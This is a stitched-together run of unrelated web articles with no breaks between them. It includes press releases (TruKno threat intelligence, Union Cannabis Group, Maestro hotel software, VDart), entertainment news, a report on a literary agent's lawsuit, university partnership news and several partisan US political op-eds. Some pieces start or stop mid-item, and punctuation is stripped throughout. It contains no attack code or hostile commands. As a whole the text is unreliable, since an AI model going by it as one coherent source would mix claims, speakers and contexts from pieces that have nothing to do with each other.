TruKno solution can be consumed as SaaS based threat dashboards or via easy-to-use Application Programming Interfaces (APIs) that enable enterprises to directly integrate TruKno Threat Intelligence into their existing security and risk management technologies & workflows. Further, TruKno is actively building an ecosystem of out of the box product integrations for IOC enrichment (VirusTotal is available today), SIEM (Splunk Enterprise Security, LogRhythm, etc.), and Vulnerability Management (Tenable, Qualys, etc.). Please reach out to us to learn more details.

Start your Free Trial of the TruKnos Threat Intelligence service at http://www.TruKno.com.

About TruKno

TruKno is the first platform built from the ground up to bring Cyber Threat Intelligence to the masses. Based in Denver, TruKno provides easy-to-use, actionable, and real time cyber threat dashboards and APIs to enable security teams to reduce the risk of breach by easily keeping up with ever-dynamic cyber threat landscape. For more information, visit http://www.TruKno.com.

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Image  Hana Rexroth - A multiple Dope Cup and High Times Cannabis Cup winner, Dabstract is licensed throughout four states in the US. UCGs expansion of its brand licensing program internationally signals a shift in the cannabis industry towards solid brands with consistent products. Our team has done a fantastic job cultivating Dabstract into a premier brand asset for UCG and our partners," said Eli Korer.

Union Cannabis Group (UCG Inc.; UCG) is partnering with Decibel to bring its concentrate brand, Dabstract, into the Canadian cannabis market. UCG will also develop exclusive formulations for Decibels concentrate brands to increase the Canadian companys product pipeline and portfolio.

UCG is a leading cannabis product manufacturing and brand licensing company that owns and operates the recreational brand Dabstract, which is known for its premier, top shelf concentrate products. A multiple Dope Cup and High Times Cannabis Cup winner, Dabstract is licensed throughout four states in the US.

Decibel is poised to further expand its reach across Canada as it introduces Dabstract to its family of brands. Decibel owns and operates multiple cannabis production facilities in British Columbia, Alberta and Saskatchewan, as well as operates its own retail locations under the Prairie Records label.

Additionally, UCG will assist on the design of Decibels standard operating procedures and product formulations to be used throughout Decibels existing 80,000 sq ft facility, The Plant, as well as the addition of a centralized processing hub for the processing of Decibels flower and concentrate materials for nationwide distribution.

"Decibel is committed to continuously raising the bar when it comes to product quality and innovation in the cannabis industry" said Paul Wilson, Chief Executive Officer of Decibel. "This strategic partnership bolsters our product development pipeline in the high growth vape and concentrate product categories while strengthening our brand portfolio by bringing the renowned Dabstract brand to the Canadian marketplace.

"UCG is proud to partner with Decibel, an organization that shares a steadfast commitment to authentic craft cannabis, product innovation and building strong brands in the cannabis industry" said Sushanta Parikh, Chief Executive Officer of UCG. "We look forward to helping Decibel grow the concentrate and vape categories in Canada with our manufacturing expertise and Dabstract brand."

UCGs expansion of its brand licensing program internationally signals a shift in the cannabis industry towards solid brands with consistent products. Our team has done a fantastic job cultivating Dabstract into a premier brand asset for UCG and our partners, easily and successfully portable to new territories through our innovative and thoughtful licensing program said Eli Korer, UCGs Chief Legal Officer. As the recreational cannabis markets develop and open, the skys the limit for Dabstract.

About UCG:

Union Cannabis Group (UCG Inc.; UCG) is a cannabis brand and product company that also offers design and installation services for cannabis extraction facilities, manufacturing process training, product formulation, and brand licensing. UCG serves clients in multiple states, with clients including Washingtons leading cannabis producer, where UCG also designed and currently operates the largest processing facility in the State. Dabstract, a premier award-winning brand of recreational cannabis extracts, is a wholly owned subsidiary of UCG.
[The Maestro Owner's Portal] gives each individual condo owner remote and real-time access to see all reservations  past, present, and future  on the books, gauge the performance of their investments, and even stay updated on expenses.

Although the pandemic has disrupted travel, the vacation rental market is strong. SunStream Hotels & Resorts, operator of eight condo hotels in Southwest Florida, is seeing high occupancy rates with all properties in Fort Myers Beach, Naples, and The Everglades surpassing budget projections and outpacing revenues from prior years. Helping this condo hotel and resort management group meet the rising travel demand and streamline guest services safely is Maestro PMS. For several years, SunStream has been relying on the Maestro Cloud property-management system for multi-property front desk operations, condo owner management, as well as mobile tools, housekeeping, sales and catering, work order management, and yield management.

Condo hotels are in high demand today as they provide more space, privacy, and even safety than hotels, said SunStream Hotels & Resorts Director of Sales and Marketing Jennifer Ellis. The biggest challenge we are facing today is the ability to keep up with demand despite the devastating labor shortage. Thanks to Maestro and its housekeeping and work order modules, we are keeping up with guest requests and turning rooms over quickly. Maestros Housekeeping module has provided the strongest assistance. It keeps us organized and enables our housekeeping managers to schedule workers as needed and it keeps everyone apprised of which rooms need to be cleaned and when in real-time. The work order module is equally as important, as we can easily tag rooms that need maintenance and pull them out of inventory until issues are resolved. Maestro has been indispensable throughout the pandemic, and it continues to prove its worth as we are nearing recovery.

Another critical component of the Maestro PMS is its integration with our third-party booking agent TravelClick, an Amadeus company, Ellis said. The strength of the Maestro/TravelClick connection is key to our success as it provides real-time availability to all sales channels without any manual oversight required. This enables us to make sure we are putting the right inventory into the market with real-time rates and the ability to make changes on the fly.

Customer Service Advocate

As a hotel management company operating resorts, hotels, condominiums, and timeshare properties for 35 years, Ellis said SunStreams No. 1 goal is to deliver genuine hospitality to guests. To do so, she said it takes the same level of dedication from its PMS provider; something she said Maestro excels in.

When we began our search for a PMS provider four years ago, we knew we wanted a product that didnt fit in a box. We were searching for a company with an elevated service platform, not a vendor eager to sell us a product. We found that instantly with Maestro. Throughout my hospitality career, Ive worked with a number of different operational models. Few, if any, are as customer-service focused as Maestro  even companies known globally for their PMS offering cannot match the support Maestro offers its independent customers. And, because Maestro already had a flexible condo hotel model, it checked off every box on our long list of requirements. Operationally and financially, Maestro PMS just makes sense for us as a multi-property condo hotel operator.

Coming to the forefront amidst the pandemic is the need for SunStream to offer contactless mobile guest-facing tools. As occupancy demands rise even more, Ellis said the company will begin leveraging Maestros Digital Registration Card with signature capture so guests do not need to touch paper or pen or can opt to complete registration on their personal mobile device as part of the mobile check in process.

Owners Portal a Turn On

What we did turn on recently is the Maestro Owners Portal, Ellis said. This gives each individual condo owner remote and real-time access to see all reservations  past, present, and future  on the books, gauge the performance of their investments, and even stay updated on expenses. Owners really appreciate this feature; they often tell us how much they appreciate the transparency. This tool is something very rare in a PMS offering.

Recognizing that condo and vacation rental properties each have their own specific requirements, Maestros Owner Management module is designed to streamline the operation for each specific functional requirement. From owner reservation controls to accounting, this module offers a unique feature set to accommodate the flexibility and needs of those who manage condo and vacation club assets. Features of the Owner Management module include:



Multi-property single Owner profile

Owner e-messaging & e-statements

Online Owner booking, availability & statement portal

Flexible Owner availability & billing controls

Commissions payable with check production

EFT  electronic funds transfer

Unit availability, intervals, status & rental pool controls

Equalization of rental revenues or unit booking

Tracking of charges, payments, receivables & balances

We are thrilled that SunStream Hotels & Resorts  and all our condo hotel customers  are navigating recovery so efficiently with Maestro, said Maestro President Warren Dehan. SunStream has had many accomplishments over the last 35 years, and Maestro is proud to be supporting their condo hotels, restaurants, spas, and conference/banquet services with tools designed to specifically address their unique operator/owner needs.

We sincerely value SunStream as a loyal and satisfied Maestro customer and appreciate their recognition of our Diamond Plus Service culture, he said. As they continue to navigate recovery, Maestro is standing ready to assist them with turning on even more in-demand tools, such as our web/mobile/kiosk check-in with mobile key integration, online prepayment portal, express mobile check-out, electronic signature capture, and configurable 48-hour room buffer feature that creates gaps in room reservation spacing to allow time for complete room sanitization.

About Maestro

Maestro is the preferred Web Browser based cloud and on-premises PMS solution for independent hotels, luxury resorts, conference centers, vacation rentals, and multi-property groups. Maestros PCI certified and EMV ready enterprise system offers a Web browser version (or Windows) complete with 20+ integrated modules on a single database, including mobile and contactless apps to support a digitalized guest journey as well as staff operations. Maestros sophisticated solutions empower operators to increase profitability, drive direct bookings, centralize operations, and engage guests with a personalized experience from booking to check out and everything in between. For over 40 years Maestros Diamond Plus Service has provided unparalleled 24/7 North American based

support and education services to keep hospitality groups productive and competitive. Click here for more information on Maestro. Click here to get your free PMS Buying guide.

About SunStream Hotels & Resorts

Founded in 1986, SunStream offers a collection of hotels and resorts in Fort Myers Beach, Naples, and The Everglades, Florida. Although our hotels may all look different, our unifying trait is a place where genuine hospitality is exactly that, and service comes from the heart. We are committed to delivering a truly refreshing, unexpected, and inspiring experience to each guest at every hotel. In addition to the hotel & resort collection, SunStream offers real estate and vacation ownership divisions, as well as sister company design schemes; offering sophisticated commercial design solutions.
Building Tomorrow's Solution, Today. We exist to solve complex problems through innovation and human ingenuity for a better world, creating shared success for all. We are deeply honored to be recognized by Toyota for excellence in supplier diversity; said Sidd Ahmed, President, and CEO at VDart.

VDart receives 2021 Toyota Diverse Supplier of the Year - IT Award

VDart, the leading provider of mobility and digital solutions headquartered in Atlanta, has been recognized with Diverse Supplier of the Year - IT 2021 award by Toyota Motor North America (TMNA) at Toyota Supplier Virtual Conference held on April 19. Toyota honors its suppliers who have provided significant contributions in promoting and sustaining diversity + inclusion in the communities where we live and work. VDart is proud to earn this recognition for meeting Toyotas highest standards in quality as Diverse Supplier of the Year - IT 2021.

We exist to solve complex problems through innovation and human ingenuity for a better world, creating shared success for all. We are deeply honored to be recognized by Toyota for excellence in supplier diversity; said Sidd Ahmed, President, and CEO at VDart.

Toyota sets supplier expectations in key areas, each reflecting a specific element related to performance and contributing to the companys reputation for excellence. These criteria ensure suppliers consistently support the efficiency of operation, promote commitment to continuous improvement, and add Toyotas ability to retain leadership in the mobility marketplace. At Toyota, diversity and inclusion are strategic business priorities and Supplier Diversity is an essential business strategy. Specifically, Toyotas objective is to develop world-class standards for diversity throughout every aspect of their operations, including community and business partnerships.

VDart is committed to a corporate culture that promotes diversity + inclusion, social and environment responsibility, both internally and throughout its supply chain. VDart is a minority-owned enterprise certified by National Minority Supplier Development Council (NMSDC). VDart Inc. has won several accolades for its contributions to minority business development. The most recent ones include the 2020 Supplier of the Year Award  Class IV by Georgia Minority Supplier Development Council (GMSDC) and Sidd Ahmed the CEO of VDart being named as 2020 MBE Advocate of the Year. VDart spent 36% of its total spend on small, minority, women, and veteran-owned businesses with 52% of its workforce being diverse.

About VDart: VDart is the leading provider of mobility and digital technology solutions globally in Automotive, Manufacturing, Energy & Utilities and Healthcare Industries. The companys technology powers next generation of mobility through its fleet management, digital key, in-vehicle, infotainment, and connected vehicle solutions. The company brings extensive experience in collaborating with leading automotive OEMs, Tier1 suppliers and fleet owners to develop advanced mobility solutions to support the growing need for mobility on-demand. Led by a strong global team located across 10 countries including USA, Canada, Mexico, Brazil, UK, Japan, Australia & India, the company provides solution expertise for custom turn-key projects for design and implementation of future concepts and cutting-edge technologies, delivering frictionless customer experience, creating better business value. The company partners with its clients in ideation, strategy, prototyping, testing, product launch and steady state support and has deep expertise in emerging technologies such as blockchain, IOT, UI/UX, AR/VR, Cloud, Data Science, Machine Learning, AI, NLP, Analytics, Identity management, and Intelligent automation.

For more information visit https://www.vdart.com/solutions/
The market for such devices remains immature and faces persistent challenges from well-established autoinjectors and a new cohort of larger payload, more sustainable autoinjector variants.

Until now, biologics and immuno-oncology drugs have tended to fall into two very different delivery modalities; 1 to 2 mL self-administered injection using devices such as autoinjectors and 10 mL+ infusion delivery typically administered by healthcare professionals in a hospital or outpatient setting. More and more, pharmaceutical companies are formulating (or re-formulating) drugs that fall into the gap between these modalities in the drive to move the delivery of higher-volume biologics away from the clinic and towards a home-based, self-administered environment.

Although the number of commercially available on-body delivery systems remains low, several companies have devices in development to help fill this gap, including the recent collaboration announced between Phillips-Medisize and Subcuject. However, the market for such devices remains immature and faces persistent challenges from well-established autoinjectors and a new cohort of larger payload, more sustainable autoinjector variants.

Register for an upcoming webinar to hear Tony Bedford, Director, Front-End Innovation, Phillips-Medisize, a Molex company, discuss some of the challenges involved in developing a wearable bolus injector. To successfully achieve product development, the needs of patients, drug formulators, pharmaceutical manufacturing commercial teams, and the environment must all be carefully balanced while employing established and trusted processes to minimize the barriers to entry for these devices.

The speaker will also demonstrate how Phillips-Medisize and Subcuject are engaged to address these challenges with a novel, cost-effective device that requires no battery, motor, or electronics. Join the live webinar on Thursday, July 29, 2021, at 10 a.m. EDT (3 p.m. BST/UK).

For more information or registration for this event, visit Wearable Bolus Injectors: Balancing Stakeholder Needs and Overcoming Barriers to Entry.

ABOUT XTALKS

Xtalks, powered by Honeycomb Worldwide Inc., is a leading provider of educational webinars to the global life science, food and medical device community. Every year, thousands of industry practitioners (from life science, food and medical device companies, private & academic research institutions, healthcare centers, etc.) turn to Xtalks for access to quality content. Xtalks helps Life Science professionals stay current with industry developments, trends and regulations. Xtalks webinars also provide perspectives on key issues from top industry thought leaders and service providers.

To learn more about Xtalks, visit http://xtalks.com

For information about hosting a webinar, visit http://xtalks.com/why-host-a-webinar/


A contract dispute between YA literary agent Brooks Sherman and his former employer, the Bent Agency, and its founder Jenny Bent, has landed in New York State court.

In a complaint first filed in New York State Supreme Court in April, Sherman claims that the agency is withholding hundreds of thousands of dollars in commissions owed him in breach of his terms of employment. But in a June reply, the Bent Agency denied that the company is in breach, and filed a counterclaim seeking to claw back monies paid to Sherman, alleging gross misconduct.

In his suit, Sherman claims that after leaving the Bent Agency in 2017 for Janklow & Nesbit, the agency, consistent with the parties agreement, paid Sherman his commissions due"between $100,000 and $300,000 per year in each of 2017, 2018, 2019, and 2020." But in March of this year, after accusations of improper conduct by Sherman became public, the Bent Agency "repudiated" its agreement and notified Sherman that he had effectively forfeited his commissions.

TBA has plainly repudiated its obligation to pay Mr. Sherman his rightfully owed commissionsvalued well in excess of $1.5 million over the next decade, the complaint states. Moreover, TBAs improper conduct has created additional injury to Mr. Sherman and to competition in the industry: TBA has effectively misappropriated the goodwill between Mr. Sherman and his authors, and its unfair conduct has an anticompetitive effect, by chilling authors from freely exercising their right to switch agencies. TBAs and its principal should accordingly be held liable for breach of contract, misappropriation, unfair competition, and violation of New York Labor Law.

Sherman is seeking more than $1.5 million in monies he claims are owed him, plus damages, and legal fees and costs.

But in an answer filed on June 21, lawyers for the Bent Agency denied Sherman is owed anything, and filed a counterclaim seeking to recover funds from Sherman. The counterclaim asserts that Sherman, "on multiple occasions, materially breached contracts governing his engagement" by the agency. TBA lawyers claim that Shermans alleged breaches "have cost and will continue to cost the agency in excess of $1 millionwhich the agency is now seeking to recover.

 Sherman is seeking more than $1.5 million in monies he claims are owed him, plus damages, and legal fees and costs. 

Upon information and belief, and as has recently come to light through a variety of public media postings from Shermans former clients and colleagues, Sherman had engaged in a pattern of grossly inappropriate, unprofessional, and entirely unacceptable behavior with certain clients, including, the complaint alleges, unwelcome gestures and comments of a sexual nature to clients.

All of the aforementioned conduct is in direct violation of Shermans contracts with TBA, which provide among other things that he was required to conduct himself in accordance with industry and agency standards and that any 'gross misconduct' on his part would result in his forfeiting any future commissions, TBA lawyers state. Had TBA been aware of Shermans inappropriate conduct and multiple breaches of the Agency Engagement Agreements, Shermans engagement with the agency would have been terminated immediately for gross misconduct.

The Bent Agency is seeking actual and compensatory damages, "including but not limited to recoupment from Sherman of hundreds of thousands of dollars of commissions that he was no longer entitled to receive following his gross misconduct." The agency is also seeking a declaration that TBA has no obligation to pay any future commissions to Sherman.

As PW reported earlier this year, Sherman and Janklow & Nesbit parted ways in February, around the time that allegations surfaced on QueryTracker and on social media alleging misconduct and ethics breaches by Sherman. Several of Sherman's high-profile clients also severed ties with him, including Becky Albertalli, Adam Silvera, and Angie Thomas.

While the complaint and the counterclaim contain some bombshell accusations, the legal matter appears to be a fairly straightforward contract case which, if it is not settled, will likely come down to how the court reads the employment agreement between Sherman and the Bent Agency, a copy of which is included in the court filings. The agreement does state that the agency is not obligated to pay termination commissions on contracts covered by the agreement if such termination by the Agency is the result of...gross misconduct. Sherman, however, was not terminated by the agency, and the allegations of misconduct came after Sherman's departure thus his departure does not appear to be the result of his alleged misconduct.

A pretrial "compliance" conference is set for November.
Amazon Prime Video and its free premium streaming service, IMDb TV, are expanding their libraries with some beloved TV staples.

Several of the iconic producer Norman Lears classic series will be available for streaming exclusively on the two platforms. The collection marks the largest volume of Lears complete series content ever made available for streaming.

See Also Master Class: Norman Lear & Daniel Levy Interview Each Other The iconic TV writer-producer and 'Schitt's Creek' cocreator swap opinions on everything from loving 'Fleabag' to celebrating human flaws.

The additions come after Amazon signed a licensing deal with Sony Pictures Television. Among the fare available for consumption are 227 and Diffrent Strokes, both of which will launch on Prime Video beginning Thursday, July 15. Other titles Prime Video subscribers can look forward to in the future are The Jeffersons, Sanford and Son, and Sanford, which are slated to arrive before 2021 is through.

IMDb TV will feature a wide variety of classics as well, including episodes of All in the Family, Good Times, Maude, and One Day at a Time. All four titles begin streaming on the platform July 15, and this is the first time that all seasons of All in the Family are available to stream alongside spinoff Maude.

In a statement, Lear said:

Life is a collaboration. Writing, directing and producing films and television is perhaps the most collaborative work of all. In 2018, our Act III Productions sat with the team at Sony Pictures Television and formed a partnership to not only produce new content but to bring a new awareness to my former Embassy library. That Sony found a home for that library with Prime Video/IMDb TV where new generations could find it, is the best present a man entering his 100th year can have.

At nearly 99-years-old, Lears career in Hollywood spans decades and his shows have captured the hearts and attention of millions within the shows orbits. In celebration of the producers contribution, Head of Amazon Studios Jennifer Salke said: Norman Lear is a national treasure and his impact on television and popular culture is immeasurable. We are so honored to bring his classic television series to Prime Video and IMDb TV so new audiences and a new generation can laugh, enjoy and be inspired, like so many of us have been throughout the years.

So, revisit the classics, check out Lears library contributions on Prime Video and IMDb TV, and keep an eye out for additional details about incoming titles.

227 and Diffrent Strokes will be available on Prime Video on Thursday, July 15
Published on:

13 July 2021





The partnership will help to establish new programmes of study and events around areas of shared importance. These include international education, public policy studies and policy implementation, sustainability, health, business development, innovation, languages, arts and sciences.

The partnership will also provide scholarships for students from Pakistan to study at Queen Mary.

Other activities may include joint teaching and research opportunities, as well as mobility for staff, research fellows and students.

Professor Colin Grant, Vice Principal International, Queen Mary University of London, said:

We are hugely excited to be working with the Mr. Aziz Memon, President of the English Speaking Union of Pakistan and Mr. Nayan Patel philanthropist, entrepreneur and a Rotarian. I have no doubt that together we will help create better futures through education and research.

It is a source of great pride that everyone who sets foot on our campuses gains the chance to shape the world of tomorrow. I look forward to welcoming even more students and partners from Pakistan to benefit from this experience.

Today shows us that our efforts to access to an exemplary education knows no borders. It marks another shining example of our efforts to make a difference in all corners of the globe.

Mr Aziz Memon, President of the English Speaking Union of Pakistan, said: The English Speaking Union of Pakistan places a world of importance on education  working to give communities vital access to the oracy skills as well as the cultural understanding they need to thrive.

But we know that no one organisation can achieve these goals alone. We are delighted to come to these agreements today with Queen Mary, to display our shared visions, and to make tremendous strides for education across Pakistan.

Central to this work will be Queen Marys Global Policy Institute (QMGPI), which uses the Universitys research and ensures its place in policy around the world  so that impactful, real-world change can take place.

Through partnerships, knowledge sharing, training, and project launches  to name but a few methods  QMGPI works to transform policy and workings across every continent for the betterment of society.

The agreement announced today bolsters Queen Marys longstanding commitment to Pakistan. It was among the first UK universities to establish personnel in Pakistan, creating an in-country post in 2005. It is also the number one recruiter from Pakistan in the prestigious Russell Group, with more than 1,300 Pakistani students having studied at Queen Mary.

The English Speaking Union of Pakistan aims to develop friendship and goodwill between the English-speaking people of Pakistan and other countries, by actively encouraging communication, discussion and debate through the English language. Beyond fostering cultural links between people of different nationalities, the English Speaking Union helps young people to engage with the world through its various programmes.

Queen Mary has long been committed to engaging internationally, from education to research, partnerships and stakeholder work, to impact areas around the world. Its agreement with the English Speaking Union of Pakistan will help ensure marked improvements in these areas of shared interest.

Queen Marys work within Pakistan sits alongside other major partnership initiatives in South Asia to help address some of the biggest challenges facing the region today, including partnership to promote gender equality, public health, and the environment.
Annika is based on the popular BBC Radio 4 play Annika Stranded, which stars Nicola Walker as the eponymous Scandinavian detective, a leading light in the murder squad of the Oslo police. Annika will air on UKTVs Alibi channel in August 2021.



In the new six-part drama, sharp, witty and enigmatic DI Annika Strandhed is tasked with investigating the unexplained, brutal and seemingly unfathomable murders that wash up in the waterways of Scotland. The drama breaks the fourth wall as Annika invites audiences in to hear her thoughts, engaging them and enticing them to solve the crimes with her. Throughout the series Annika shares her wry observations on the case and her life, as she manages her brilliant yet unconventional team, and her equally brilliant yet complex teenage daughter.



The adaptation is a Black Camel production for UKTV co-produced with Masterpiece in association with All3Media International. Deals signed earlier this year with NRK (Norway), DR (Denmark), SVT (Sweden) and YLE (Finland) will see Annika heading to the Scandinavian territories that were its original inspiration.



We are thrilled to see All3Media International garnering so much early interest in the series with such strong broadcast partners involved and on board already," said Arabella Page-Croft, producer, director and co-founder at Black Camel Pictures. "We are hugely looking forward to the seeing the international reception and introducing Annika, our wonderful, sharp and very funny detective played so brilliantly by Nicola Walker, to the world.



Further European broadcasters to sign Annika at pre-sale are VRT (Belgium), NPO (Netherlands) and TV+ (Turkey and Cyprus). Co-commissioner PBS Masterpiece will air Annika in North America and All3Media International has also sold broadcast rights to ABC for Australia.



David Swetman, SVP of scripted content at All3Media International, commented: As expected, Annika is in high demand in the global market, and were very pleased to outline this first roster of deals ahead of the dramas premiere. Annika creator Nick Walkers radio series - inspired by the best in Scandinavian crime drama and starring the multi-talented Nicola Walker - is adored by fans across the UK, so were excited to see this incredible partnership reuniting for an on-screen adaptation. Nicola is the perfect lead for what promises to be a uniquely engaging drama, bringing Annikas investigations vividly to life and drawing viewers in by making them her confidante throughout.
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Alvernia students to study durability

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If you need help

Call 9-1-1 if you or someone you know are in immediate danger.

To seek the help of an advocate or to contact Safe Berks, call the 24-hour hotline, 844-789-SAFE (7233) or text SAFE BERKS to 20121.

Safe Berks provides free and confidential services for victims of domestic violence and sexual assault 24 hours a day. All services are available in English and Spanish, and translation will be used for any other language needed.

Throughout the COVID-19 health crisis, Safe Berks continues to provide free and confidential services for victims of domestic violence and sexual assault 24 hours a day. All services are available in English and Spanish, and translation will be utilized for any other language needed.

Safe Berks services include shelter, counseling, legal services including assistance with requesting Protection From Abuse (PFA) orders, medical advocacy, and education. Information about how to request a Protection From Abuse order in Berks County is available online at:

https://www.co.berks.pa.us/Dept/Courts/FamCourt/Pages/ProtectionFromAbuse.aspx
Reading

Another Turkey Hill cashier arrested

Cashier at Turkey Hill in Reading is accused of stealing thousands of dollars in cash and money orders
Vehicle theft

Driving home a point

Do you know how to keep your vehicle from being stolen?
Ican recall only three instances of gasping aloud in response to a plot twist. Being a child of the 1980s, I had the privilege of seeing Darth Vader announce to Luke Skywalker, I am your father, as a surprise in the movie theater. But since then, most plot twists failed to measure up until October of 2017 when I learned that Hillary Clinton commissioned the now-infamous Steele dossier accusing Donald Trump of colluding with the Russians. Although holes had already emerged in the narrative, I had fundamental trust in the FBI up until that moment. Since then, FBI leadership, including current Director Christopher Wray, have confirmed my worst suspicions by working to protect the conspirators and resisting accountability.
Discussing the independent counsels office in Morrison v. Olson, perhaps his most famous dissent, Justice Antonin Scalia cautioned that this wolf comes as a wolf. On Tuesday, Catherine Lhamons confirmation hearing to return as head of the Office for Civil Rights brought Scalias memorable line to mind.

During Lhamons first stint running OCR from 2013 through 2016, the office used guidance documents to quietly interpret Title IX to require one-sided sexual misconduct adjudication procedures. (A typical headline from the era: How a little-known education office has forced far-reaching changes to campus sex assault investigations.) Colleges quickly fell in line, implementing what former Education Secretary Betsy DeVos later described as kangaroo courts. The result was a wave of lawsuits from students accused of sexual misconduct, but not afforded any due process by their schools.

Still, the effects of biased campus procedures remained below the radar, attracting scant congressional or media interest. A more candid administrator nonetheless might have conceded the harm that her policies had caused. At the least, Lhamon could have framed the trampling of innocent students rights as a necessary sacrifice to achieve the greater good of vindicating victims claims. A few congressional Democrats, such as Patty Murray and Jackie Speier, moved in that direction after Barack Obama left office.

Lhamon, however, remained all but silent on the issue of due process while at OCR. Then, out of office, she preposterously presented herself as a champion of accused students rights.

While Joe Biden long has favored using Title IX to undermine due process principles, it might have seemed prudent for him to take a lower-key approach to the issue as president. He had, after all, faced a sexual assault allegation himself, one he consistently described as false, which should have made him more empathetic to what wrongly accused students experience. Scores of federal court decisions cast doubt on Obama-era Title IX procedures, raising questions whether a return to the past was possible in this area. And DeVos decision to change Title IX procedures through regulations will be time-consuming to undo.

That Lhamon was selected to return to OCR showed that on Title IX, the Biden administration chose defiance rather than accommodation with the new political or legal realities. Unlike her first stint in the office, however, this time Lhamon faced some resistance on Tuesday. Two riveting exchanges with committee Republicans made clear her extremism even to casual observers.

The first came when the committees ranking Republican, Richard Burr of North Carolina, pressed for her opinions on key elements of the current regulations, such as cross-examination, access to evidence, and the need for a hearing. Lhamon consistently demurred, saying merely that she would enforce the current law.

Burr then asked whether Lhamon favored the presumption of innocence for accused students. The nominee denied, inaccurately, that the regulations contained such a provision. Lhamon later conceded her misstatement, but still refused to endorse the bedrock American principle of the presumption of innocence. She argued instead that Title IX adjudicators should be open to the possibility that an accused student might not be guiltyhardly a reassuring standard.

Louisiana Sen. Bill Cassidy wondered aloud about Lhamons inflammatory tweet that the DeVos regulations took us back to the bad old days, that predate my birth, when it was permissible to rape and sexually harass students with impunity. During her unsuccessful bid to become OMB director, even Neera Tanden walked back the worst of her tweets. Lhamon similarly could have apologized and said she got caught up in the heat of the moment.

Instead, she doubled down on her analysis, reiterating that she still believed that the regulation permits students to rape and sexually harass with impunity. When Cassidy asked her for an example to corroborate this extraordinary claim, Lhamon cited no allegation against any students since the regulation went into effect last August. Instead, she recalled one of the allegations against serial sex offender Larry Nassar (who, as former USA Gymnastics national team doctor, obviously wasnt a student), years before the current regulations took effect.

That she so clearly misunderstands the regulations she purportedly would enforce should be grounds, in and of itself, to disqualify Lhamon. The remark also exposed the ugly foundations of her beliefs. As civil liberties lawyer Ken White observed, the comment showed how the totalitarian concept that due process protections allow criminals to act with impunity is a constant narrative from both right and left.

During a pre-hearing meeting with Burr, Lhamon challenged the portrayal of her as someone who only believed complainants. Her performance during the confirmation hearing confirmed that perception. Regarding campus due process, in this case the wolf really comes as a wolf.
In last years presidential election, the voting precinct surrounding suburban Philadelphias Radnor High School  a high-performing school on the tony Main Line  went for Joe Biden by 43 percentage points. A few months later, 75% of surveyed Radnor community members opposed changing the high schools mascot name from Raider  the source of a local conflict over cultural sensitivity toward Native Americans. But school board members, under pressure from student activists, proceeded with the name change.

Fifteen miles north, on 1-476  known as the Blue Route  the similarly wealthy, suburban Upper Dublin Township was awash with Democratic votes in 2020. This year, though, a school board reform ticket called Upper Dublin United, composed of centrist Democrats and Republicans, is running to unseat board members who oversaw the districts long-running COVID-19 closures while area Catholic schools proceeded with daily in-person learning  while suffering virtually no COVID cases. UD Uniteds Facebook page celebrates Juneteenth and Pride Month but also includes odes to fiscal responsibility and stopping the tax increases.

Welcome to the Philadelphia suburbs, where Americas political future is up for grabs.

In recent years, Philadelphias collar counties  Chester, Delaware, Montgomery, and Bucks have undergone a dramatic political shift. Even before Donald Trumps presidency, the collar counties were at the forefront of an upper-middle class, suburban revolt against the GOP. In the 2000 presidential election, they went roughly 51% Democratic. By 2012, that number had risen to about 54%. In 2020, it jumped anther five percentage points.

Greater Philadelphias move against Republicans is indicative of a trend throughout Mid-Atlantic suburbia. The Washington suburbs of Loudoun County, Va., went about 56% for George W. Bush in 2000; in 2020, Biden won Loudoun with around 62% of the vote. In northern New Jerseys Morris County, about 54% favored Bush in 2000  but two decades later, Biden carried 51% of the suburban countys vote.

Now, ahead of next years midterms  which include a fight for the GOP seat held by retiring Pennsylvania Sen. Pat Toomey  can Democrats replicate their Trump-era success in places like suburban Philadelphia? Or, without Trump atop the party ticket, could Republicans revive their Bush-era suburban competitiveness?

The answer to both questions will hinge on which party can offer the most compelling vision of sanity and stability to voters  a difficult task, given the radicalism spreading through Democrats and Republicans respective ranks.

Philadelphias suburbs count many die-hard partisans. This is the case in towns like Wayne, for example, where devoted progressives adorn their manicured front lawns with Science Is Real yard signs. Its evident, too, in Lower Bucks communities, where one can still find Trump flags.

But the region is also home to plenty of persuadables. When coupled with their resistance to school closures and mascot name changes, suburbanites Trump-era shift away from the GOP indicates that theyre not mere party-line voters. If anything, theyre open to changing their minds and interested in sanity and stability.

Suburban Philadelphia is full of upper-middle-class, white-collar professionals who work long hours for large corporations and health care providers. A lot of money is made here, and a lot of hours are clocked  which is to say these voters have a stake in the system, writ large. They have bought into the status quo.

The collar counties voters arent agitating for cultural revolution, big tax increases, attacks on the U.S. Capitol, or anything else that would upend life as they know it. The American dream is alive and well outside Philadelphia. People work hard and enjoy their summer weekends at the Jersey Shore or in the Pocono Mountains. To these voters, the political party that seems least threatening to their flourishing households is the choice to make.

As it stands, Democrats hold a voter-registration edge in all four suburban counties, but they have yet to clear 50% in any of them. Their victories will hinge on swaying moderate Republicans and independent swing voters. Though Biden succeeded with both groups in 2020, its doubtful that future down-ballot Democratic candidates could do the same if the partys most vocal, leftmost flank drives the national conversation.

If Republicans can push a sensible, non-conspiratorial candidate through congressional primaries and then paint the wider Democratic Party as the party of extreme progressivism rather than that of moderate, piecemeal liberalism, the Democrats suburban surge may prove relatively short-lived.

That both parties routes to suburban dominance are so challenging points to greater obstacles: Suburban candidates will have a hard time making it through primaries in the first place, and even if they do, at the state level they could alienate more extreme urban and rural partisans.

The political future of Philadelphias suburbs, then, will be determined largely by the political acumen of each partys down-ballot candidates. Can they offer the vision of sanity and stability that suburbanites crave while placating the grievances of the voting base? Whichever party triangulates best will win in 2022  and beyond.
The silliness of ShaCarri Richardsons disqualification from the U.S. Olympic track team for legally smoking marijuana shines a bright light on the civil liberties spot where we find ourselves in 2021 in the United States of America. Our country wants legal cannabis, and we are currently engaged in a nationwide legal-status transition of a very old plant. One day, the marijuana demons will rest, and we can all get back to life, liberty, and the pursuit of happiness.

Although Americans have long desired legal cannabis, our citizen legislators are only now mustering the strength of conviction to take on the task of transitioning a $60 billion annual industry that employs hundreds of thousands of people and dominates agricultural economies like Californias  where the legal adult-use marketplace is already $4 billion, from a cold start in 2018.

We sit at the dawn of the final frontier of cannabis legalization. The U.S. Senate is preparing to introduce comprehensive reform legislation, and theres a good chance of eventual passage. Its simply becoming too hard to make the counterargument against cannabis reform.

According to the latest Pew Research Center study, 91% of Americans favor the legalization of medical or recreational cannabis. Since Californians passed Prop 215 in 1996, citizens of states across the country have taken to the ballot box to produce change where their elected officials would not.

